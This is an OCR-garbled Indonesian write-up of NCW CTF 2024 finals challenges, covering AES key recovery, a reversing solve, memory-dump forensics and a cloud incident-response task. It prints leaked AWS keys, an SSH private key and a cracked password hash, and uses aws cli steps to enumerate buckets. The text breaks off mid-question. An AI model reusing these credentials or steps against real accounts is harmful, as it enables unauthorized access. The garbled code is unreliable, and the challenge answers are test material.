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0w @ FQ ©

Challenge 0 Solves

GCD This GCD That Fow about you GCDzez nu-
Author: Wrth

» Unlock Hint for O points

* gcdeez.py * output.txt

Submit

DJumanto
(2 < <)

Eternlity



HCS - NyanSetsunaNyan

Daftar Isi
Daftar Isi 2
CRYPTOGRAPHY 3
Ads lagi 4x
Flag: NCW{awoadkoawdkoawdadko gw_hampir_lupa_bikin_soal NCW_lIol} 3
REVERSE ENGINEERING 8
19s
Flag: NCW{sch3m3_seems_legit_inspiredfromsekaictf:)!!!!} 8
FORENSIC 1"
BOSITEENARER
Flag:
NCW({so_sad_how_this issue_is_staled for_months_but once you know_what to _gre
p_you_will_get_everything_yay} 11
HLEBIDEDHRICVWTHESINLE
Flag: NCW{ingin_menjadi_cloud_engineer_handal} 15

Part of HCS @



HCS - NyanSetsunaNyan

CRYPTOGRAPHY

Ads lagi 4x
Flag: NCW{awoadkoawdkoawdadko_gw_hampir_lupa_bikin_soal_NCW_lol}
Deskripsi
flags: medium

kemarin R5A lagi, skarang A4S lagi
p.s: Masih sama kek qual, semoga gaada salah setting lagi kek IFEST kemarin %

Author: Lawson Schwantz

Informasi Terkait Soal

Diberikan 2 file: Ads4x.py dan output.txt.

Adsax.py

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from random import getrandbits

FLAG = b'NCW{REDACTED}"

def findrand(intval, stateboolstatus):
intval = ((intval << 46) | (intval >> 18)) & 18446744073709551615
if not stateboolstatus:
return intval & 4294967295, intval
else:
return (intval >> 32) & 4294967295, intval

intval = getrandbits(64)
keys, ivs = [], []

for i in range(4):
if i % 2 ==
temp,intval = findrand(intval,stateboolstatus=False)
elif i % 2 ==
temp,intval = findrand(intval,stateboolstatus=True)
keys.append(long to bytes(temp))

for i in range(4):
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if i % 2 ==

temp,intval = findrand(intval,stateboolstatus=False)
elif i % 2 == 1:

temp,intval = findrand(intval,stateboolstatus=True)
ivs.append(long to bytes(temp))

key = b''.join(keys)
iv = b''.join(ivs)

cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(FLAG,16))

print(f'enc = ")
print(f'iv = ")

output.txt

enc =
€2206al116aa34a455d0c9717b37d8d34250a71286bcf728b0a85980790ed07f9eb7d3867
e81450d453c312dbc8fdcac8c18851044e7907a0ff6e1b9d397caa95

iv = ¢929d6a775a9d9b0766c1c4a07129f24

Pendekatan

Kita mempunyai 2 parameter dari output, enc dan iv, yang dimana IV sendiri berasal sistem
yang sama untuk melakukan enkripsi ke keys. IV yang kita dapat berasal dari 4 bagian, jadi
kita bisa pisah terlebih dahulu(big-endian). Kemudian, kita dapat mencoba untuk mencari
intval yang ke-4 karena kita bisa mencari intval 0 sampai 3 yang dipakai untuk pembuatan
key, yang dimulai dari pencarian intval yang ke-7, yang dilanjut dengan intval_6 dan
intval_5.

Karena tentunya misal kita mencoba mencari value-value intval dengan pencarian biasa,
akan sangat memakan waktu. Disini saya mencoba untuk memanfaatkan multiprocessing
python (tiap CPU bekerja sesuai step_size nantinya), sehingga pencarian menjadi lebih
cepat. Setelah itu kita bisa melakukan terus melakukan reverse terhadap operasi-operasi
yang dilakukan dan dicocokan ke nilai IV yang kita punya (iv[1], iv[2], iv[3]).

Misal kita sudah mendapatkan intval_4, maka kita bisa mendapatkan intval_0 sampai
intval3, yang kemudian bisa dilakukan rekontruksi key yang dipakai untuk enkripsi AES
awal. Kemudian karena kita tau format flag NCW{ maka tinggal exit semua subprocess pas
udah ketemu :)
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Solusi

solver.py

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import multiprocessing, sys

def reverse_rotate(intval):
return ((intval >> 46) | (intval << 18)) & 18446744073709551615

def worker(args):

temp_iv, stateboolstatus list, enc, iv, temp, stateboolstatus,
lower_32 bits_start, lower_32 bits_end = args

for lower_32 bits in range(lower_32 bits_start,
lower 32 bits end):

intval 7 = (temp << 32) | lower_32 bits

intval 6 = reverse_rotate(intval 7)
stateboolstatus = stateboolstatus list[6]
if stateboolstatus:

temp_check = (intval 6 >> 32) & 4294967295
else:

temp_check

intval_6 & 4294967295

if temp_check != temp_iv[1]:
continue

intval 5 = reverse_rotate(intval 6)
stateboolstatus = stateboolstatus 1list[5]
if stateboolstatus:

temp check
else:

temp_check

(intval 5 >> 32) & 4294967295

intval_5 & 4294967295

if temp _check != temp_iv[2]:
continue

intval 4 = reverse rotate(intval 5)
stateboolstatus = stateboolstatus list[4]
if stateboolstatus:

temp_check = (intval 4 >> 32) & 4294967295
else:

temp_check = intval_4 & 4294967295
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if temp check != temp iv[3]:
continue

# find key by intval 4

intvals = [0]*8

intvals[4] = intval 4

intval = intval 4

for i in reversed(range(4)):
intval = reverse_rotate(intval)
intvals[i] = intval

key parts = []
for i in range(4):
stateboolstatus = stateboolstatus list[i]
if stateboolstatus:
temp_key = (intvals[i] >> 32) & 4294967295
else:
temp_key = intvals[i] & 4294967295
key parts.append(int.to_bytes(temp key, 4, byteorder='big'))

key = b''.join(key_parts)

cipher = AES.new(key, AES.MODE_CBC, iv)
try:
decrypted = unpad(cipher.decrypt(enc), 16)
if b'NCW{"' in decrypted:
print(decrypted.decode())
sys.exit(@) # exit all processes
except:
continue
return

def solve():

enc =
bytes.fromhex('c2206al16aa34a455d0c97f7b37d8d34250a71286bcf728b0a8598079
Ped07f9eb7d3867e81450d453c312dbc8fdcac8c18851044e7907a0ff6e1b9d397caad5’

)

iv = bytes.fromhex('c929d6a775a9d9b0766c1c4a07129f24")

iv_parts = [int.from_bytes(iv[i:i+4], byteorder='big') for i in
range(9, 16, 4)] # bigendian

stateboolstatus_list = [False, True, False, True, False, True,
False, True]

temp_iv = iv_parts[::-1] # reverse

temp = temp_iv[0]
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stateboolstatus = stateboolstatus list[7]

print('init")

num_processes = multiprocessing.cpu_count()

pool = multiprocessing.Pool(processes=num_processes)
args_list = []

step _size = (1 << 32) // (num_processes * 16)
if stateboolstatus:
for i in range(@, 1 << 32, step_size):
lower 32 bits start = i
lower 32 bits end = min(i + step _size, 1 << 32)
args = (temp_iv, stateboolstatus_list, enc, iv, temp,
stateboolstatus, lower_ 32 bits_start, lower_32 bits_end)
args list.append(args)
else:
pass

pool.map(worker, args list)
pool.close()
pool.join()

print(‘'done")

solve()

Hasil

> python3 solver.py
init :
NCW{awoadkoawdkoawdadko gw hampir_ lupa_bikin_soal NCW_lol}

done

> eter ~/../cry/abts_lagi_ux
> ||
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REVERSE ENGINEERING
19s

Flag: NCW{sch3m3_seems_legit_inspiredfromsekaictf:)!!!!}

Deskripsi

Just a warmup final RE, anyway 2024 is ending so I'm bringing you back the 1970s because
I'm already rusty to create a challenge and hands out hard ones to the new generation.
Don't you agree?

Author: aseng

Penjelasan
Diberikan sebuah binary yang dynamic linking sama libchicken.so.11. Lalu fungsi

comparison terdapat padaf_269.
_269(__1nt64 c, _ 1ntb4 xav

_QWORD =*v2; // rilk

unsigned _ inté64 v3; // ri3

__int64 v4; // rax

_ inté4 v5; // [rsp-Eh] [rbp-60h] BYREF
__inte4 xa[6]; // [rsp+22h] [rbp-30h] BYREF

v2 = (_QWORD *)*av;

v3 = av[1];

al1] = (__int64 *)_ readfsqword(0x28u);

if ( --C_timer_interrupt_counter < 0 )
goto LABEL_6;

while ( 1 )

if ( ((_int64)a - C_stack_limit) >> 3 < (c < 2) + C_scratch_usage + 5 )

C_save_and_reclaim(f_269, (unsigned int)c, av, a);
(0x2D88LL);
1

¥
a[@] = &v5;

if ( C_i_nequalp(v2[3], v&) #* 6 )
f 238(v2[4], 30LL);
*(_QWORD *)(Lf[6] + 8) = 1LL;
f 238(v2[&], 1LL);
LABEL 6:
: C_raise_interrupt(255LL);
I
}

Kita bisa sederhanakan (t2 >> 7) & Ox3FFFFE | 1 menjadi 1. Tapi kalau di solver pakek xor
entah kenapa :)
Lalu flag yang di enkripsi terdapat pada &unk_4190.
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Pseudocode-C =] Pseudocode-B | | B  Pseudocode-A
db
db
db

db
db
db
db
db

Nah awalnya saya kira ini tiap karakter di + sama current counter, jadi misal karakter
pertamaitu N + O jadi N, terus B + 1 jadi C, U + 2 jadi W. Tapi kalau begitu, flag nya broken

mnt > d > ctf-writeups > NCW CTF 2024 > finals > 19s > ‘¢ solve.py > ..
i chars = b'NBUxwfn4e:Uxihc|O}wt}aI~vjjrnxzyRNOPANGNK]L\x11\x@5\x0c\x@f\x0e\x11\x4c"

counter = @

flag = "'

for i1 in range(len(chars)):
flag += chif(chars[i] +| counterf)
counter += 1

print(flag)

PROBLEMS QUTPUT DEBUG CONSOLE PORTS COMMENTS TERMINAL

python3 -u "/mnt/d/ctf-writeups/NCW CTF 2024/finals/19s/solve.py"
® & ~ python3 -u "/mnt/d/ctf-writeups/NCW CTF 2024/finals/19s/solve.py"
NCW{ {kt;mC_uug_v_
v<19==A}

- o~

Terus saya coba buat xor sama 1, juga gak bisa. Lalu saya teringat jika suatu karakter di xor
dengan 0 akan menghasilkan karakter yang sama, disini saya deduksi (baca: dukun) kalau
tiap karakter itu di xor dengan suatu counter, dan benar saja kami mendapatkan flag nya.
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Solusi

solve.py

chars =
b 'NBUxwfn4e:Uxihc|0}wt}aI~vjjrnxzyRNOPANGNK JL\x11\x05\x0c\x0f\x0e\x11\x4c"

for i in range(len(chars)):
flag += chr(chars[i] ~ counter)

counter += 1

print(flag)

Hasil

- 19s git:(main) X python3 solve.py
NCW{sch3m3_seems_legit_inspiredfromsekaictf:)!!!!}

- 19s git:(main) X |}
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FORENSIC
BNTITEENAER

Flag:

NCW{so_sad_how_this_issue_is_staled_for_months_but_once_you_know_what_to_grep_you_
will_get_everything_yay}

Deskripsi

flags: medium

Check the attached file for more information. Password: ncwgogo
Author: cipichop

nc 103.145.226.92 18172

Informasi Terkait Soal

Diberikan dua file, description.txt dan suatu zip
(2836557D-8BC7-4-20241101-141327.zip) yang berisikan memory dump 10GB e

description.txt

This is my story: I have never had any malware installed on my host. I am curious and
want to execute some malware I found in Windows Sandbox. It was actually fun, but I am
more intrigued by Windows Sandbox itself. I captured its memory to analyze the
structure, and it seems very different from an ordinary memory capture.

1. Tell me, where is the source of the malware I used to download? (just the main link,
without the subdirectories)

2. How many malwares have I downloaded?

3. When did I run the last malware?

4.1 like the Windows Vista prank one. What is its PID?

5. Out of all malware I downloaded, how many did I successfully execute?

6. Mention all malware I executed, separated by space (order does not matter)

Challenge file:
https://binusianorg-my.sharepoint.com/personal/gracia_abadi_binus_ac_id/_layouts/15/
guestaccess.aspx?share=EfKB8LK7jwZLmEcxImrnp70B8TVP-6JT99_g7aysE9dhyA&e=n
wbége3

Warning: The uncompressed size of this challenge file is 10GB

Pendekatan

Setelah kita unzip, kita mendapatkan file .raw, yang indikatif ke file memory dump.
Sebenarnya proses buat mencoba “membuka” file .raw ini yang sangat memakan waktu
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lama bagi saya, karena file ini tidak bisa dibuka oleh tool Volatility, yang biasa digunakan
untuk analisis file memory dump (3 jam mikirin volatility %) sampai akhirnya saya
mencoba untuk mencari pendekatan lain. Soal pertama: source malware, berarti harusnya
berasal dari URL yang valid, jadi saya coba saja command berikut:

strings 2836557D-8BC7-4-20241101-141327.raw | grep 'https://' >
output.txt

Terlihat banyak hasil yang menunjukkan URL-URL valid, dan setelah scroll dikit terlihat URL
yang lucu: https://github.com/Da2dalus/The-MALWARE-Repo, yang merupakan jawaban
dari pertanyaan no 1! Jadi disini saya terus memakai strategi strings > grep > save ke file
untuk soal-soal selanjutnya.

Pertanyaan / Jawaban

1. Tell me, where is the source of the malware I used to download? (just the main link,
without the subdirectories)

strings 2836557D-8BC7-4-20241101-141327.raw | grep 'https://' >
output.txt

://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Melting.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Trololo.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/DesktopBoom.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Flasher.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Popup.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Avoid.exe

://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Curfun.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/CrazyNCS.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/CookieClickerHack.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/Hydra.exe
://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Joke/rickroll.exe

LD d ol eDo QD /lld 0 K d =

2. How many malwares have I downloaded?

strings 2836557D-8BC7-4-20241101-141327.raw | grep '.*Downloads.*.exe' >
output2.txt

Curfun, Dumplt, CrazyNCS, ColorBug, DesktopBoom, OperaSetup.exe, Vista.exe,
Melting.exe, Mantas.exe

Total ada 9 malware yang didownload.

3. Whendid I run the last malware?

C:\Users\WDAGUtilityAccount\Downloads\Vista.exe|2024-11-01 14:11:04.015
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4. I like the Windows Vista prank one. What is its PID?

strings 2836557D-8BC7-4-20241101-141327.raw | grep 'Vista.exe' >
output3.txt

TRACE,@@@S,G#AP,LogEvemts,ChainStart,C:\Users\WDAGUtilityAccount\Dowhloads\Vista.exe,Gemome,WinBlueRTM,ValueJ
TRACE,0000,0000,Service, 6440 | C:\Users\WDAGUtilityAccount\Downloads\Vista.exe | "C:\Users\WDAGUtilityAccount®

TRACE, 0000,0000,Service,RAiMonitorProcess, ClientProcessId: 4080 | C:\Users\WDAGUtilityAccount\Downloads\Vist:
TRACE,0008,6440,LogEvents,ProcessStart,C:\Users\WDAGUtilityAccount\Downloads\Vista.exe

6440

5. Out of all malware I downloaded, how many did I successfully execute?

strings 2836557D-8BC7-4-20241101-141327.raw | grep '.*Downloads.*.exe' >
output2.txt

Cari yang ada TRACE seperti Vista.exe, dan total ada 4.
6. Mention all malware I executed, separated by space (order does not matter)
Melting.exe CrazyNCS.exe Vista.exe Curfun.exe

Solusi

solver.py

from pwn import *

def solve():
r = remote('103.145.226.92"', 18172)
r.sendlineafter(b'>> ',

b'https://github.com/Da2dalus/The-MALWARE-Repo"')
r.sendlineafter(b'>> ', b'9")
r.sendlineafter(b'>> ', b'2024-11-01 14:11:04")
r.sendlineafter(b'>> ', b'6440")
r.sendlineafter(b'>> ', b'4")
r.sendlineafter(b'>> '

Curfun.exe')

r.interactive()

, b'Melting.exe CrazyNCS.exe Vista.exe

solve()
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0 n to 103. . n port 181
tching to interactive mo

ur flag: NCw{ _how_this_. S_S ed_for_months_but_once_you_know_what_to_grep_you_will_get_everything_yay}
reading in

3.414s gpenv - sage

Part of HCS @



HCS - NyanSetsunaNyan

HHLOBIMDNEDHICWTHESN-LE

Flag: NCW{ingin_menjadi_cloud_engineer_handal}

Deskripsi

flags: hard

Check the attached file for more information.
Author: kangwijen

nc 103.145.226.92 23456

Informasi Terkait Soal

Diberikan 1 file, yaitu description.txt.

description.txt

WijenBank recently suffered a cyberattack targeting its Tokyo cloud infrastructure.
Attackers exploited leaked AWS credentials where they then infiltrated our development
environment, accessed restricted resources, and compromised a critical S3 bucket, and
ultimately breached a production server on DigitalOcean. In response, WijenBank has
shut down its services and is actively working to restore the affected infrastructure. As
part of the incident response team, your task is to retrace the attacker’s steps and
evaluate the full extent of the compromise.

You are tasked with providing answers to the following questions:

1. What is the Access Key ID of the leaked AWS credentials?

2. What is the invoke URL of the other API Gateway that exists?

3. How many Lambda functions were deployed in the AWS account?

4. What is the full URL of the compromised S3 bucket?

5. What is the valid AWS Access Key ID that was exposed in the S3 bucket?

6. What is the statement ID that allowed public access to the directory with the valid AWS
Access Key ID?

7. What is the IP address of the DigitalOcean production server?

8. What is the password of the account "deploy"?

9. What is the MD5 hash of the file left by the attacker inside the app deployment
directory on the DigitalOcean production server?

10. How many non-default environment keys were set on the DigitalOcean production
server?

You're given this following information to start your investigation:
https://dabcknkOstupn.cloudfront.net/

Note:
1. You are allowed to read any resources in the AWS and DigitalOcean services.
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2. You are NOT allowed to add, delete, or modify any resources in the AWS or
DigitalOcean services.

3. Do NOT perform automated testing or run automated scripts on the provided
resources, your IP address will be banned.

Pertanyaan / Jawaban

1. What is the Access Key ID of the leaked AWS credentials?
Kita bisa melihat Access Key pada frontend, karena di hardcode.

Login to WijenBank

Username

or () Performance :&W‘\er’nuw BEIDIage ‘i’ y E ation @ka\e—Ed\tm

AKIA453N4QOMCFGUPBPV

2. What is the invoke URL of the other API Gateway that exists?
https://bp6lamux7k.execute-api.ap-northeast-1.amazonaws.com/list

Untuk mendapatkan endpoint lain, kita bisa setup aws cli kita menggunakan creds
yang didapatkan terlebih dahulu lalu dump seperti di screenshot.

> HLEBIDEDHRICLWTHESAFzEE git:(main) X aws apigateway
get-rest-apis
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"id": "bp6lamux7k",
"name": "list-functions”,
"createdDate": "2024-11-10T17:05:42+07:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {

"types": [

"REGIONAL"
1

3

"disableExecuteApiEndpoint": false,
"rootResourceld”: "e22ivtrmj7"

"id": "dlefhowi31l",
"name”: "login-function®,
"createdDate": "2024-11-12T13:44:28+07:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {

"types": [

"EDGE"

1

b

"disableExecuteApiEndpoint”: false,
"rootResourcelId": "d4@numkinf"

3. How many Lambda functions were deployed in the AWS account?
4
Untuk mendapatkan banyak lambda function, kita bisa hit endpoint

https://bp6lamux7k.execute-api.ap-northeast-1.amazonaws.com/list
menggunakan script berikut.

sv.py

import boto3

import requests

from requests.auth import AuthBase

from botocore.auth import SigV4Auth
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from botocore.awsrequest import AWSRequest

from botocore.credentials import Credentials

def aws_sigv4 auth(req, service='execute-api', region='ap-northeast-1"):

credentials = Credentials('AKIA453N4QOMCFGUPBPV',
'/S140g8B20vyal152shn1XGfqqrmQd6R/mulSqSy ')

aws_request = AWSRequest(method=req.method, url=req.url,
headers=req.headers)

SigV4Auth(credentials, service, region).add auth(aws_request)

return aws_request.headers

url = "https://bp6lamux7k.execute-api.ap-northeast-1.amazonaws.com/list"
headers = {}

signed_headers = aws sigv4 auth(requests.Request('GET', url,

headers=headers))

response = requests.get(url, headers=signed_headers)

print(response.text)

e = ~ python3 -u "/mnt/d/ctf-writeups/NCW CTF 2024/finals/# 2 HFAHNZEDhICL TIRE = iz & E /sv.py"
{"statusCode": 200, "body": "[\"log-transactions\", \"manage-user\", \"list-functions\", \"create-backup\"]"}
- o~

4. What is the full URL of the compromised S3 bucket?

https://wijenbank-tokyo.s3.ap-northeast-1.amazonaws.com/
Buat cari tau nama S3 bucket nya, saya coba dump list-functions itu ngapain.
aws lambda get-function --function-name create_backup.

Nah nanti kita dapet suatu link ke bucket S3 lain.

"RepositoryType": "S3",

"Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/888751817624/1ist-functions-c2505f28-b317-4652-abe6-b460d418edbb?versionId=Xz
0cdgHFrTVOrqQVutpktdnAlkBy2_bc&X-Amz-Security-Token=IQoJb3IpZ21uX2VjEID%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdCOXTkgwRgIhAI%2F9cQpszuCx%2BI%2FE%2B30mH%2FDLbEMP8X
tDgTdmbkxVoN%2BuAiEASWCINwncSjfCzy5QnvjRPKSdZ3L7xIkeK9rVGydYgjQqiQIIKRAEGEWSMTk50DA5MjUxMzkiDOd fm2yGyyCcO5kpNirmAV%2BaZ juGfdQB6UgpOhzy 5Ny cP4%2BF4HGTbi00Tn%2BnapKv%2BQyhz7 T
0gSUulxe%2FRYom302XvVBMeQuFsSzy81cI0SZ4ulq4p@Rn%2BYjzw6aYsyJPXpYRM8tOVts530cIMDgixoPnMnyibH8j1uIBFj1LSESDZR8IVD6cUt IWE0IMei9%2Fxau%2BIuSniHHK8D%2 FfgaIM4IUbBQRGDX11iIFk4%2BM
nFUy8k%2B1NStGRqxgq8Rvb%2BJyolwXS31NRObHB%2F44rILIt8IRZURt1Qbsp7s00wWMRs tWRFVMiHVQVY%2FE%2BG3w%2Fp@500ngvLFVVMPul4bkGOo4BDhZqQAp92Mw%2ByMoDIdv2TXpkzay0plmFwKt%2FGP4n12zcDYDq
GP71ryODKWOnHVdu@swzTXqyaeWUoeOOB605bE jSLju2mXYeH7yYgNjekJErtLOqz fRQUT%2F2f94G5ed6swESvwBcUv3WmStkv89r fHLEFzk8Qh1XIXU5vjomlH2FZelQqYd8jX07Y8ThYA%3D%3D6X-Amz-Algorithm=AWS4—
HMAC-SHA2566X-Amz-Date=20241116T082842Z6X-Amz-SignedHeaders=host&X-Amz-Expires=6006X-Amz-Credential=ASIASMMZC4DIXGIXOB4U%2F20241116%2Fap-northeast-1%2Fs3%2Faws4_request&X-A
mz-Signature=20b5b9181aa6d8ff13834ec5f5fab55ee5edf67cf75ddcc225bf2f285¢c9a7202"

}

[2] 0:aws* "C:\windows\system32\c" 15:28 16-Nov-24}

Pas di download dan di extract kita dapet nama bucket 'wijenbank-tokyo'. Kita
tinggal formatin sesuai url S3

5. What is the valid AWS Access Key ID that was exposed in the S3 bucket?

AKIA453N4QOMEIL32YW4
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Kita bisa download isi dari S3 menggunakan command.

aws s3 sync s3://wijenbank-tokyo new --profile s3-ctf

Nah disini saya cobain semua creds yang ada :u

- 2024-Q4 git:(main) X cd config-backup

- config-backup git:(main) X 1s

aws-cli.json aws-s3-policy.json

- config-backup git:(main) X cat aws-cli.json

{

"username”: "dev",

"aws_access_key": "AKIA453N4QOMEIL32YW4",

"aws_secret_key": "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",
"account_type": "developer”,

"created_at": "2023-12-01 00:00:00"

12
- config-backup git:(main) X pwd

Dan benernya yang ini.

6. What is the statement ID that allowed public access to the directory with the valid
AWS Access Key ID?

PublicReadGetObject

Nah kita bisa liat di file aws-s3-policy.json, lalu cek, ada nama PublicReadGetObject
- config-backup git: 1 X cat aws-s3-policy.json
{

"Version": "2012-10-17",
“Statement”: [
{
"Sid": "PublicReadGetObject",
"Effect": "Allow",
"Principal™: "%",
"Action": "s3:GetObject",
“"Resource”: [
"arn:aws:s3:::wijenbank-tokyo",
"arn:aws:s3:::wijenbank-tokyo/*"

1,

"Condition": {
"StringNotLike": {
"aws:UserAgent”: [
m *Bot*“ y
m *bot*ll ;
"xCrawlerx",
"xcrawler*"

7. What is the IP address of the DigitalOcean production server?
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165.22.109.13

Nah buat dapetin IP nya, kita bisa ganti creds pakek creds yang developer, yang
nomor 5, trus redump ulang, karena ada beberapa file yang kena permission denied.

Nanti ada di /deploy-backup/2024-Q4/config-backup/do-deployment.json.
- config-backup git:(main) X cat do-deployment.json [0/1]

ssh_key": "\n BEGIN OPENSSH PRIVATE KEY: \nb3BlbnNzaClrzXktdjEAAAAABG5vbmUAAAAEbMIuZQAAAAAAAAABAAACFWAAAAdZc2gtcn\nNhAAAAAWEAAQAAAEEAS X29y r4ZAB6r/hY28j EphBISBYQDS
245ZLAuh46YCaqOrNhZ3Hby\noJsle5AhH+W8FQhFOREVWMiIMOGPg7Ux9IFBKWF3VySszY/NtsRrg/aCKtb/KDj/korit1\n00GLgbt2C6jEOpmIrowt3MY3Tt+MBmifcaabobm2qxN1t6307RATexPwO1PEXjnS4kXzLG\nvm2
kW61nWwh9I98bPbTfQ5/Q3eIEXFHNWVXuUhDh2sFAbqSHc@aYD7erl fBTI9+uwoPEm4\nn1ZeYy+VW8GsY9 jwNP1gZx0yltaveiHohpPWsmxhKUVFRvU/JOEKrepVbqmFLALGWX jchK\nrBAkoCI/uX15h456bWcaegiKCONYEXT
T361p9ikxdoTDK11dKj4 FddoinE/XOIxUaPwaET\nN5Y08wh+NOuy5SwdaLaPDZrgYe21UuIgMdwzE3dPpMteun32s jdGL7dTYnFH1jn3b0y00c\n36nGLpxiNuv+d+aTJjaTmIC3EGi+0+Y7VdRnumxGGMDNwdGyynAdx 72255
30Dwm+06E/r\nboY3FEepigTzcxbXZFLi71VCp7yDuaVsxBva7pU9H3SarNvRLI5qDs4Kc2+nPzNFOTALLc\nwgw2nwv+OUWGYtC2eWMkhfFvc6Z38xVvaXrpyrAWq9wV/Le8XnFnuWApx fh4ewy fUg4wg3\nsAAAAI tBmDt7QZg
7cAAAAHC3NOLXJZYQAAAGEASX29yr4ZAB6r/hY 28 EphBISBYQDSz45\nZLAuh46YCaqOrNhzZ3HbyoJsle5AhH+W8FQhFOREVWMiIMOqPg7Ux9 I fBKWF3VvSszY/Nts\nRrg/aCKtb/KDj/korit100GLgbt2C6jEOpmIrowt3MY
3Tt+MBmifcaabobm2gxN1t6307R\nAIexPwO1PEXjnS4kXzLGvm2kW6 1nWwh9I98bPbTfQ5/Q3e IEXFHNWVXuUhDh2sFAbgSHcO\naYD7er1fBTI9+uwoPEm4n1ZeYy+VW8GsY9jwNP1gZxO0yltaveiHohpPW4mxhKUVFRvU/J0\
nEKrepVbgmFLdLGWxjchKrBAkoCI/uX15h456bWcaegiKCOWYEXrTTIG1p91ikxdoTDKL1dKj\n4 fddoinE/XOIxUaPwaETN5Y08uh+NOuy5SwdaLaPDZrgYe2UuIgMdwzE3dPpMteun32sj\ndGL7dTYnFH1jn3b0y00c36nGLpx
iNuv+d+aTJjaTmJIC3Eqi+0+Y7VdRnumxGGMDNwdGJyy\nnAdx7z25530Dwm+06E/rboY3FEepigTzcxbXZFLi71VCp7yDuaVsxBva7pU9H3SarNvRLI\n5qDs4Kc2+nPzNFOTALL cwgw2nwy+0UWGY tC2eWMkh fFvc6Z38xVvaXr
pyrAWg9wV/Le8Xn\nFnuWApxfhéewy fUghwg3sAAAADAQABAAACACTXz FNPCnor JTBXEOIRZTOFkspCtBscY318\nsQlcdPTFrOT5R0C6BGSEMoOLeA2yqObPaXr/dygxyR5mgYYIpQSR2tKTpgVEwv3nF10KMB\ndQPnDZRRA fg
kwsx8vffzIB6nm+VgNvham9GOLP3P75b6tUbls6TOFhTLjd4TIkIZFGcyUm\n3WNvIn5SNEmp1BRAWNIOPNVUGNFoY@gpq7CX70t70tU9ZBT8069bK8BERN4 jnWGF5BLUT/v\n6jXY5vZLCPYcMcmyKtOhWEC7E31fs3rqLPL4MUk
uWonIp636QsdBfGRO248cXVZ5a8VFRq\n4VHOgalel16qQINd209TR2NdwrIAVBCaRr67Z1IHgqH5gt x IHPXnRSbgDsKzWFrzGt IMPWi\nBdGvPMLrDz1xy6/wip5fOBnmAMOfha@9rxIH54ctKAdvBqe9fKZq4qoSZNKC2BU5ZIZ
Bps\nJITeSG5L3FxIDtXu2711UtX6f0o8GXcszd0/3L10gyCWOfWIMZLE361M/x1p2 jv3EMXJum\nNulgs2rpYGOBXYKpplULV5BkiYIWEHs/vHMSgjGxiBn35hwy faerg76ZmoAmImrCcj7 FUk\n/T6K3Jss1el703p0+oxvUH1
a8dN2qM7StweCM08zCCb60E04X6dwzSNdZIqGpl0q0/+@rM\nL2nf/mFpq3Wt1bVBLAAAABAD54k3j42T6TZCGOFidX1CPZcsclvwx19tcOCpdIYDmrEOAI\nHDgwBOp9@TSRKBN2YSnB61+VvHtAqwGuJudaFG3wouJziI5jomNLl
Xprbm2CEVMknKu8k2BW\nSXphx4B7n5mc3k5aDRFugs cOHH+X6YnFCAT2SBpEqKLng2b63YARR7ve3rLIwfaR1IztCL\nikKBt2wDaF36BuDLNPnAzq/VhhYFNF/f8KzJ79NiFPz3nEXoUE17IPyq@bm+HUVG3r1DsK\nYMtD6U7
8DCcTECkTIpTQ52C4FLXMI8bDTW7 gXYNSrLP151THiWK1@00wy94We jyR8YvoRLa\nQLXZuzJwv5ut6A4AAAEBAPX 101 Tm3vN1y0iFkkUOkpPR/azSX111jI6KqabGKXKZe0DM6A\nuEKBCG18WplaY2KDpmlW+81BDi7kYoRoNgk
TEX89+149K/FROVAFFNVfmGudjzQdctiU8r\nrLH3101bmN9hW1d7QtI2CofeqQNsZc40PDbOqrNP8SmkZhc8/21wtqITaXmbK1i2E5SW8\n76GA14MSd0gSeQeZayKIgu3DeMQacdy7+U3xXPLpnYDjT2ngy9AmSRqKDaYEQH/k
+VReTWW\nkLXr9TqLvAgf+j1/nONMiGFGCOZBKBIbt2LhiYs2VOUqVZmUnUZMZHyXysDD 14 zrkwtMI3\n1V19Y/foyvEmBAAAEBALWhFKPZWLXVFQh1/fH4g9T/FCFxt1sMv+QoqL114Hk2RBa57 /+M\nPqZYRDhm75yX90PbDUe
96bPef/PQBO6Er+yPulIs0jcXL9oYD5t45KKALOKOFFIC/c/ub@\nRVDIbMuvMiQ3cEMSPZGXWp8j30Tf7UI8DEe1E2VbvdQkdZy4XUHYLSWThuETN76LjZw/@0\n0Y2WHXjDIFLeeBWx/1Lo2KpCIHk9CdSZz56yErnsAUoQ4ZhK
oXYLY6eQhprRsr2maflyyIp\n7qT2g4ssg2GYC6PmX5fg06 fk8fE9yz0LgQcRZDUXMA3FPY01/qmDIaxZ2WWI2KT6w2c+AM\nmADp78egtbUAAAAQZGVwbGI5QHdpamVuYmFuawECAw=\n END OPENSSH PRIVATE KEY-

'
: "deploy",
"password 078f40fa23e0672777adc7c05d4773dd",
"app_path": "/var/ww/wijenbank"
o]

8. What is the password of the account "deploy"?
deploy

Di file yang sama dengan no 7, kita coba crack password di crackstation.

Enter up to 20 non-salted hashes, one per line:

078f40fa23e0672777adc7c@5d4773dd

. I'm not a robot L

reCAPTCHA

Privacy - Terma

Supports: LM, NTLM, md2, md4, mds, mds(mds_hex), mds-half, shal, sha224, sha2s6, sha3g4, shas12, ripeMD160, whirlpool, MySQL 4.1+ (shal(shal_bin)), Qubesv3.1BackupDefaults

Hash Type Result
a78faefa23e0672777adc7c05d4773dd H md5 H deploy

Color Codes: GFEEAH Exact match, Yellow: Partial match, Bl Not found.

9. What is the MD5 hash of the file left by the attacker inside the app deployment
